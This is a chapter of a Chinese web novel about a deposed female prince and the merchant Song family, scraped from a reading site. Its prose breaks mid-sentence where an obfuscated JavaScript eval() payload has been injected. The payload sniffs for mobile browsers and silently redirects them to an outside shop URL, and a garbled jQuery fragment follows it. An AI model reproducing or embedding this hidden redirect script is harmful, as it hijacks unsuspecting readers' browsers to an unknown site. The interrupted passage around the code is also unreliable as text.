文趣网 > 其他小说 > 夺凰(女尊) > 19. 奇怪
    当连一听到言秋只是叮嘱连十九将人送回去,没有再多吩咐之后,只想抚额。

    “我的好殿下呀,您就单把人送回去,没趁机向宋家要求点什么?”这不是平白把大好机会往外推吗?

    言秋不理解:“我向宋家要求点什么?宋小郎救我,宋家收留我,已经对我有大恩了,我还趁机提要求?我要不要脸呢?”

    连一看她转不过弯来,真是恨铁不成钢。她费尽口舌:“殿下,您是贵人,宋家是商贾,他们救你,收留你,那都是他们的造化!对他们来说,您就是天!若诬陷之事没有发生,他们一辈子都遇不上您!如今您尚有危难,宋家不趁此机会表现一二,将来等您重登高位,宋小郎凭什么能入您府上呢?”

    锦上添花容易,雪中送炭难啊!

    言秋大为震撼:“你也知道我现在身上背着事啊?都有人在暗中追杀我了,宋家只把我请出去,没把我交上去,已经冒了极大的风险,你还觉得不够?还要人怎么样做啊?难道要他们悄没声的把宋小郎送给我做小,再把全部家财都捐给我,你才满意吗?”

    连一气结,却又碍于身份差别,不敢当面顶撞,只能忍气认罪:“殿下琼枝玉树,是属下狭隘功利了。”

    言秋训了连一一通,只觉得古代人真是荒谬绝伦。仗着所谓的身份高贵,就不把其他人当人看。还妄图让她也接受这一切,真是难以理解。

    连一则开始怀疑是不是真的找错了人。毕竟一个人就算失忆,根本的常识总是还在。怎么言秋的反应那样奇怪?

    皇子乃天之骄子,宋家身为子民,为她做出贡献和牺牲是理所当然的事情。言秋却那样抗拒,这不正常。

    她暗自打定主意,等回到连捷身边,她得向主子汇报这件事。

    主从二人不欢而散。

    宋怜生被秘密送回宋家,所幸归来及时,又有连十九从旁协助,并没有惊动任何人。

    翻窗回屋的时候却遇上点小麻烦。

    宋元书知道弟弟被感情冲昏头脑,今日没有出门太久,很快就回来了。一回家,净了手脸就来寻他,想再劝劝他。

    若非连十九觉察不对,绕到前边去制造出动静吸引了宋元书的注意力,让宋怜生有时间笨手笨脚地翻进屋,又和方絮手忙脚乱地换了衣服,差一点就要穿帮。

    等宋元书发现院中的异常是因为来了只鸟,不是什么小毛贼,这才抬脚往弟弟的闺房里去。

    宋怜生其实还是有些破绽。因为着急,他衣衫不整,头发也乱,甚至还因为紧张,额上出了细汗,脸颊也因为慌张而泛红。

    最重要的是,他的袜底是黑的。

    他到底大了,宋元书只看了一眼就没再细瞧,只当是弟弟大病初愈,午睡方起,所以如此不便见客。

    儿大避母,女大避父。她这个长姐,也应当避嫌。

    因此宋元书很快转过身去,让他先打理好衣着:“我先在外头喝茶。”

    宋怜生刚做了那样大胆的事,心脏怦怦直跳,在两个仆僮的帮助下,勉强把发梳齐,衣穿好,这才又请了宋元书进来说话。

    宋元书知道这个弟弟是有点倔的。要不然也不会同母亲说要给他两年做出满意的纸张再论婚嫁。

    她也是从少年过来的,知道这种事,越是拦着,越容易滋长。如果言秋是普通人家,她当然可以不加阻拦,任其发展。可是——

    “言秋若是官宦人家的女娘,这桩婚事,就算咱们差距再大,长姐也会劝母亲同意,咬牙全了你的心思。可,她是皇子,哪怕没有这一遭,身边不会缺人。你是以什么筹码为注,让她必会娶你过门呢?”

    宋元书叹道:“我知你对她有情,那么个清标人物,还对你温柔小意,若我是你,也一时放不开手。”

    这段日子,言秋和宋怜生的相处,宋家人都看在眼里,记在心中。

    言秋丰采高雅,气质超群,见之忘俗,令人一见心喜。偏这样人品,还非常亲切和气,对造纸师傅虚心求教,勤劳刻苦,半点没有架子。

    对宋怜生更是体贴入微,亲热但不逾矩。

    每回见她,心里都惦记着情郎,不是摘朵小花,就是画幅小画,认认真真地讨人欢心。

    天长日久的,谁能不动心呢?

    “可是真的不行啊!”

    如今各地官府明令是要活的,看起来似乎还有转圜余地,可谁又知道,真让她回到御前,最后又会是什么结果?

    或许还不要到御前。

    宋元书想到自家几个总是为着家业常常使绊子的妲妲姨姨,表情就淡了些。

    这番话如同一盆冷水,浇得宋怜生身形微晃。

    宋元书说得对,言秋此去凶险万状,如果他足够聪明,就应该在得知其身实身份后就断了心思。

    可情之一字,不知其所起,亦不知其所终。如何是说断就能断的呢?

    宋怜生重重跪在长姐面前,红着眼眶,苍白着脸说:“总得让我送送她。”

    宋元书猛然站起,低头盯着他。

    宋怜生跪得笔直。他素来就瘦削,病了一场似乎清减了许多,下巴尖尖的,看着可怜得很。

    她这个弟弟从小温顺乖巧,从没跟她提过任何过分的要求。如今为了一个女娘,先是突发高热险些丢了半条命,现在又跪在她面前——她心里头又酸又涩,想厉声拒绝,话到嘴边却变成了:“送了之后,回来安心待嫁。”

    宋怜生喉头滚了滚:“好。”

    宋元书先回屋换了一身不起眼的暗色衣裳出来,腰间还佩了剑。

    她面无表情地丢了一套同样的暗色旧衣给宋怜生,丢下一句:“换上衣裳,我带你去。”

    等宋怜生换好衣服,姐弟二人悄悄从侧门出去,骑了马,借着最后一抹余晖往城东的柳郎巷去。

    宋怜生不会骑马,宋元书将人护在身后,让他抓紧自己的外裳。

    二人一骑快要到时,身后传来一阵急促的马蹄声。

    宋元书眉头一皱,回头望去——暮色里率先奔出两匹马来,前面那匹枣红马上坐着一个约三四十岁的妇人,体态丰腴,一张圆脸上嵌着精明的细眼;后面那匹马上则是一个十六七岁的少女,容貌与那妇人有五六分相似,看向宋元书的眼神带着刻毒。

    二人身后带着三五个随从,各个风尘仆仆

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506897|202240||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,看样子是去远方刚回来。

    “哎哟,我还道是谁呢,原来是大姪女儿。”那妇人纵马往他们这儿靠,笑吟吟地开口,声音又尖又亮,在黄昏的寂静中格外刺耳,“这大晚上的,要去哪里啊?这是你相好的吧?哎哟躲什么?这么见不得人吗?”

    宋元书的脸色登时沉了下来。

    宋怜生身体一僵,将脸埋得更深。

    宋元书扭过头,语气冷淡:“小姨,您是长辈,但说话也当有些分寸。”

    来者是宋家小姨宋锦言和她的女儿宋元宝。

    宋小姨行五,是宋大当家的小妹。她一直对宋家产业的分配耿耿于怀。

    当年宋老太太过世,将家中九成铺面留给了宋元书的母亲这一支,宋小姨并其他几个姐妹只得了半成,另半成捐给了族里买族田供族人读书。她嘴上不敢违逆长辈,心里头却记恨了许多年。

    宋小姨出生的时候家境优渥,打小是被娇养长大的,她觉得自己比宋大当家年轻,本事也不比她差。同是宋家姐妹,凭什么嫡长就能继承几乎所有财产和人脉关系,她只不过晚出生几年,就只能一辈子做点小买卖?

    然,自古以来便是嫡长继承制,此乃最大限度保证资产完整,财富不分薄,家族阶级不滑落的制度,她一个小人物,根本撼动不了世人的规则。

    如今,只有宋大当家和她的直系继承人出了事,宋家的财产才有可能重新划分。

    宋大当家是她长姐,为人稳重务实,积威甚重,她有点天生犯怵。眼看大姪女宋元书逐渐长大,学着当家,她是隔三差五找茬,总想着从宋元书手里抠出些好处来。

    “怎么,你这相好的上不得台面,我姐不同意你俩的事?让你堂堂宋大小姐只能躲起来做什么见不得人的勾当吗?”宋小姨半点也不觉得宋元书冒犯长辈,继续出言试探,“你有难处,告诉小姨我,咱们都是一家人,怎么也得替你说说情。”

    宋小姨这几年努力要做出个样子来,想要凭自己的能力超过继承了几乎所有财物的大姐。无奈起点太低,她每天起早贪黑,忙得披星戴月的,都不如宋大当家动动手指头。

    前些时候,宋大当家的铺子里还出了叫甚薛涛笺,卖得极好,又不知能多赚多少钱银,把她看得眼红得不行。

    可整个城都在宋大当家的业务范围内,她想要扩展,只能从别的地方想办法。这不,刚从城外回来。

    宋元书身为长房长孙,是板上钉钉的未来继续人,大晚上的带着个人鬼鬼祟祟出来,必定有猫腻。

    她跟过来,也是想看个究竟,若抓住了她的把柄,又或者窥到些商业机密,那不就赚大发了!说不定,还能从宋大当家手里咬下一块肉呢!

    宋元书心中暗气。她为着弟弟的名声,是偷偷从家里出来的,本想着借着夜色将至,把事办了就回去,可身后坠了根麻烦的尾巴,她根本不敢往言秋那儿走。

    为今之计,只能暂时将人引向别处,再做计议。

    离柳郎巷最近的路口有条岔道,通向城外,宋元书也没别的办法,只能往那里去。

    借着刚起的夜色,在城门关闭之前,两人一马出了城。